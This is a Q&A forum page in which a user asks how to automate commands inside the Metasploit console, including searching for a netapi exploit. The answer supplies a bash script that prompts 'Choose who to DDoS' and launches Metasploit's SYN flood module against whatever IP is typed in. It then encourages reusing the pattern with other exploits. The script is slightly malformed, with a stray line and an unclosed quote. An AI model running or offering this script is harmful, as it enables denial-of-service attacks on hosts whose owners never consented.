HeroicJokester
HeroicJokester

Reputation: 35

Writing a script to run commands inside a console

I'm writing a script to automate metasploit now my script works fine till the commands i need to run on the terminal but when i try to run the commands which i have to execute inside the metasploit console the script stops until i manually exit the console, and then it will resume from the next line.

when you run metasploit it opens a console (msfconsole) inside the terminal where you can run your commands.

how can i add specific commands in my script to run inside the console??

These are the commands i want to run:

msfconsole (this command starts the metasploit console, this command works fine in the script)
search netapi (This searches the exploit i want to use, now this command is to be entered inside the console which my script cannot do)

After this all the commands need to be entered in the console, the console looks something like this: msf >

Upvotes: 2

Views: 4142

Answers (1)

Arendhal
Arendhal

Reputation: 583

I think you are looking for something like this

    #!/bin/bash
    TARGET
    echo " Choose who to DDoS (IP address ONLY), use nslookup < URL> to get IP address"
    read TARGET
    msfconsole -q -x "use auxiliary/dos/tcp/synflood;set RHOST $TARGET; exploit;

This will launch msfconsole , use the /dos/tcp/synflood auxiliary and launch a DDOS attack on the target, which is an IP address type by the user. You can write other scripts to automate metasploit using this scheme, just change the exploit and variables Dont forget to do chmod a+x yourscript.sh to allow execution Also have a look at this :https://www.offensive-security.com/metasploit-unleashed/writing-meterpreter-scripts/

Upvotes: 3

Related Questions